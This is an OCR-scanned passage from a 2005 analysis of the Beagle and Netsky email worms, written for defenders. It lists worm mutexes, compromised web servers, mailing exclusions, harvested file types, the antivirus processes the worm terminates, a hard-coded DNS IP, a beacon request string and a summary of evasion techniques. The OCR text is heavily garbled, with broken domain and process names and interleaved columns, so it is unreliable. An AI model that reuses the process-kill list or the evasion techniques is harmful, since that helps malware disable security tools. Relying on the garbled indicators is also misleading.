phenomenal success of the Netsky variants, notably Netsky.P:

- - -S> k<< -
-0 xX|-S-k-y-N-e-t-| Xx[ Co- _
_-00axX| - +S+- +k+- +y+- +N+- +e+- +t +- | XxKQo- _
[ SkyNet . cz] Syst ensMut ex
Adntkynet Jkl SO03
Dr'o'p'p'edSk'y'Ne't'
MuXx Xx TENYKSDesi gnedAsTheFol | ower O Skynet - D

Later variants started just two mutexes:

-0 xX|-S-k-y-N-e-t-| Xx[ Co-_
MuXx Xx TENYKSDesi gnedAsTheFol | ower O Skynet - D

Which were initially tied to Netsky.P and Netsky.AE/AA respectively. They are now
created by vastly more Beagle variants than Netsky versions.

Web Servers Used by AU-AW

W, 24- 7-transportation. com
www. Dar r kSydebaby. com

www. FritoPi e. NET

www. adhdt est's. com

WWW. aegee. org

WWW. ai ncent er. net

www. al upass. lu

WWW. amanit.ru

WW. andar a. com

www. angel art sanct uary. com

www. | haf or presi dent. 7p. com
WWW. j | mvann. com

ww. j | dr. ca

www. j ust republ i cans. com
www. kencor bett. com

www. kni cks. nl

www. kps4par ent's. com

www. kr adt r ai ni ng. de

www. kr anenber g. de

www. | aser mach. com

www. ant honyf | anagan. com www. | eonhendri x. com
www. appr ovedlst nort gage. com www. magi cbottle.comtw
. ar gont ech. net wWww. mass- i . ki ev. ua
. asi anfestival . nl www. mepbi su. de
Latlanti steste. hpg. com br www. meprh. de
.avi ati on-center. de ww. et al . pl
. bbsh. org WWW. mexi s. com
. bga-gsmru www. nongol i sche-renner. de

. boneheadnusi c. com
. bot t onbouncer . com
. br adst er. com

. buddyboynusi c. com
. bueroservice-it.de
. cal der woodi nn. com
.capri-frames. de

. cel ul a. com nx

. ceskyhosting. cz

VWWV.
VWWV.
VWV

nt f desi gn. com
oboe-onl i ne. com

ohi ol i no. com

oneposi tivepl ace. org
oohl al a- ki rkl and. com
orari.net

pankrati on.com
pe-sh. com

pf adfi nder -1 eober sdorf.

com
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VWV

VWV,
VWV,
VWV,
VWV,
VWWV.
VWV,
VWWV.

chi nasenf a. com

cntv.info
conpsol uti onst ore. com

cool freepages. com
corpsite.com
couponcapi t al . net

cpc. adv. br

crystal rose. ca
cscliberec. cz
curtmarsh. com

cust om oyal . com
deadr obot . com

dont beaweekendpar ent . com
dragcar.com

ecof ot os. com br

el enal azar. com

el | arouge. com au
esperanzaparal afam | i a. com
eur ost avba. sk
everett.wednet. edu

f cpages. com

f eat ech. com

f epese. uf sc. br
firstnightoceancounty. org
fl ashcor p. com

fl ei gutaetscher. ch
fludir.is

freeservers. com

ganp. pl

gci - bl n. de

gcnet.ru

gener at i onnow. net

gfn.org

gi antrevenue. com

glass.la
handsf or heal t h. com

hart acor porati on. com

hi npsi . org

i db- gr oup. net
i nmonaut . sk

i ms-i.com
i
i

nnnewport . com
rakli.org

iri naswel t. de

www. j ansenboi | er. com
www. j asnet . pl

Beagle’s “Do Not Call” List

The Beagle variants continue to avoid sending email to addresses with the following

strings:

@vp. feste
@ oo free-av
@ot mai | f-secur

WWW. pi pni . cz

www. pol i zei not orr ad. de
www. pr ogr ammi er ung2000. de
www. pyr | andi a- boogi e. p
WWW. I aecoi nc. com

www. r eal gps. com

www. redl i ght pi ctures. com
www. r el i ance-yachts. com
www. rel ocationfl orida. com
www. rent al stati on. com
WWW. I'i er aquadr os. com br
www. scanex- nedi cal . fi

wWwww. sea. bz. it
www. sel u. edu

www. sigi.lu

www. sl jinc. com

WWW. smacgr eet i ngs. com
www. sol oconsul ting. com
www. spadochr on. pl

WWW. ST g- neubur g. de
www. ssmi fc. ca

www. sugar das. | t

www. sunasset hol di ngs. com
WWW. szantom erz.art.p
www. t he- f abul ous-1ions. de
www. t i vogoddess. com

www. t kd2xcel | . com
www. t opko. sk

www. t ransportation. gov. bh
www. t ravel chroni c. de

WwWw. t raver se. com

www. uhcc. com

www. ul pi ano. org

WWwW. usl ungi arue. it

www. vander nost . de

www. vbw. i nf o

www. vel ezcourt esymanagenent .

www. vel oci typrint.com
www. vi ki ngpc. pl

www. vi ni rforge. com

WWW. Wwecomnpet e. com

WWW. Wor est . com ar

www. woundedshepher ds. com
www, wawnvebad. com

www, wawnebnast er . com

nor eply
ntivi
panda

com

21
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@ ana
@ressagel ab
@n crosoft
@rsn
abuse
adm n
anyone@
bsd

bugs@

caf ee
certific
contract @

gold-certs@
googl e
hel p@

i crosoft
info@
kasp

I i nux
listserv
| ocal
news
nobody @
noone@

Files to Search for Addresses

22

pgp

post mast er @
rati ng@
root @
sanpl es
sopho
spam
support
uni x
updat e
W nrar
Wi nzip

Beagle harvests email addresses from files with the following extensions:

ADB  MDX  SHTM
ASP  MHT  STM

CFG MW TBB

ca MSG  TXT

DBX NCH UN

DHTM CDS WAB

EML OFT  WsH

HTM  PHP  XLS

JSP  PL XML

MBX  SHT

Processes Terminated By Beagle (from Beagle. AU, however, most lists are very

similar):

ncagent . exe

al ogserv. exe
APVXDW N. EXE
ATUPDATER. EXE
ATUPDATER. EXE
AUPDATE. EXE
AUTCDOVWN. EXE
AUTOTRACE. EXE
AUTCUPDATE. EXE
Avconsol . exe
AVENG NE. EXE
AVPUPD. EXE
Avsynngr . exe
AVWPD32. EXE
AVXQUAR. EXE
AVXQUAR. EXE
bl ackd. exe
CCApp. exe
ccEvt Myr. exe
ccProxy. exe
ccPxySvc. exe

CFI AUDI T. EXE NI SUM EXE
Def Wt ch. exe nopdb. exe
DRVEBUPW EXE NPROTECT. EXE
ESCANHO5. EXE NPROTECT. EXE
ESCANHNT. EXE NUPGRADE. EXE
FI REWALL. EXE NUPGRADE. EXE
Fr amewor kSer vi ce. exe QUTPCST. EXE
| CSSUPPNT. EXE PavFi res. exe
| CSUPP95. EXE pavPr oxy. exe
LUALL. EXE pavsrv50. exe
LUCOVB~1. EXE Rt vscan. exe
ncshi el d. exe RuLaunch. exe
MCUPDATE. EXE SAVScan. exe

ncvsescn. exe
ncvsrte. exe
ncvsshl d. exe
navapsvc. exe
navapsvc. exe
navapsvc. exe
navapw32. exe

SHSTAT. EXE
SNDSr ve. exe
synm csvc. exe
UPDATE. EXE
Vshwi n32. exe
VsSt at . exe
VsTskMyr . exe
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DNS Server Hard-Coded into Beagle.AZ

217.5.97.137

i net num 217.0.0.0 - 217.5.127.255
net nane: DTAG DI AL13

descr: Deut sche Tel ekom AG
country: DE

adm n-c: DTI P

tech-c: DTST

st at us: ASSI GNED PA

The Year of the Beagle

The original Beagle worm retrieved Mitglieder:

CET /1. php?p=6777& d={uni que identifier created by Beagl e}
User - Agent : beagl e_beagl e"

Beagle.J’s code contains the following line of text:

"Hey, NetSky, fuck off you bitch, don't ruine our bussiness, wanna start a war ?"

Beagle.M’s hidden picture and message:

The White Rabbit Presents

The following excerpt from Part I was amended and included as a review of what the
Beagle authors have incorporated in this mass mailer since Beagle.A. It is likely that
discoveries of new variants and possibly new functions will continue. As of this writing,
the Beagle worm has shown successful incorporation of the following infection vectors:

Mass Mailing

File Sharing Services

Infection of EXE files

Software bug exploitation allowing for arbitrary code execution
Trojans/Multiple “Dropping” Mechanisms
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Furthermore, it has incorporated a number of functions to multiply the potential damage
and/or hamper detection and removal:

* Disabling security program update features

* Disabling OS security services and functions

* Inserting itself into a legitimate Windows process memory space

*  Memory residency

* Use of hard-code DNS address as a failsafe for finding MX records

* Employing a wide array of subject lines and messages

* Extensive use of social engineering tactics, especially within subject/messages

* Inserting random data into the code to change the file size/checksum

* Generating a random filename for attachments with worm code

» Shifting Registry locations and key names/values

* Changing filenames of code loaded on infected machine

* Changing filenames of copies dropped into “shared” directories

* Use of UPX/PEX to slow reverse engineering

* Using modified PEX/packing methods to avoid generic worm detection signatures

* Installation of a backdoor service

* Generating unique identifiers for all compromised hosts

* Detailed cataloging of infected devices

* Relaying IP address, unique identifier, and open port to author-controlled location

* Use of .zip files to bypass many attachment filters settings

* Use of password protected .zip files to bypass virus scanners

* Distribution of Trojan via previously compromised boxes

* Use of compromised boxes to control other compromised machines

* Incorporating host EXE infection

* Exploiting vulnerabilities to install files/updates from rotating Internet hosts

* Opening legitimate applications to cover background infection process

* Use of hidden windows to hide Trojan activity

*  Employment of targeted Trojans; each enabling a specific theft

* Extensive seeding of variants to ensure broad delivery before detection

* Rapid modification of a single version to force additional signatures/research time
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“The End of the Mass-Mailer Worm Era” Larry Seltzer, June 7, 2004.
http://www.eweek.com/article2/0,1759,1607743,00.asp

15. The first two parts are referenced in #1 above; in addition, the following piece makes mention of how
Beagle has “learned from previous versions”:
http://insight.zdnet.co.uk/internet/security/0,39020457,39168402,00.htm Robert Vamosi, CNET news.com
September 30, 2004.

16. The use of Mitglieder by both MyDoom and Beagle is credited to F-Secure: “F-Secure Corporation
Data Security Summary for 2004 available at: http://www.f-secure.com/2004/

17. SDBOT VI uses Beagle backdoor, for example and was released in November of 2004
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM%SFSDBOT%2EVJ&VSect
=T
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Symantec Security Response
http://www.symantec.com/avcenter/

Trend Micro Virus Information Page
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Computer Associate’s Anti Virus Site
http://www3.ca.com/virusinfo/

F-Secure’s Virus Information Site
http://www.f-secure.com/virus-info/

Panda Software’s Virus Information Site
http://www.pandasoftware.com/virus_info/

Sophos
http://www.sophos.com/

Kaspersky Labs
http://www.kaspersky.com/

Additional Reading

A very interesting article by Tom Gillis of IronPort from January 5, 2005 that discusses the

“professionalization” of virus writing:

http://informationweek.securitypipeline.com/56900719

Specific Mitglieder References for Additional Information:

Mitglieder.BB (Panda)

http://www.pandasoftware.com/virus _info/encyclopedia/overview.aspx?idvirus=54193

Mitglieder.BG (panda)

http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?Ist=det&idvirus=57446

CERT Advisory on E-mail Worms

http://www.cert.org/advisories/CA-2004-02.html

Beagle 2 Mars Exploration Site
http://www.beagle2.com/

February 2005 www.infectionvectors.com
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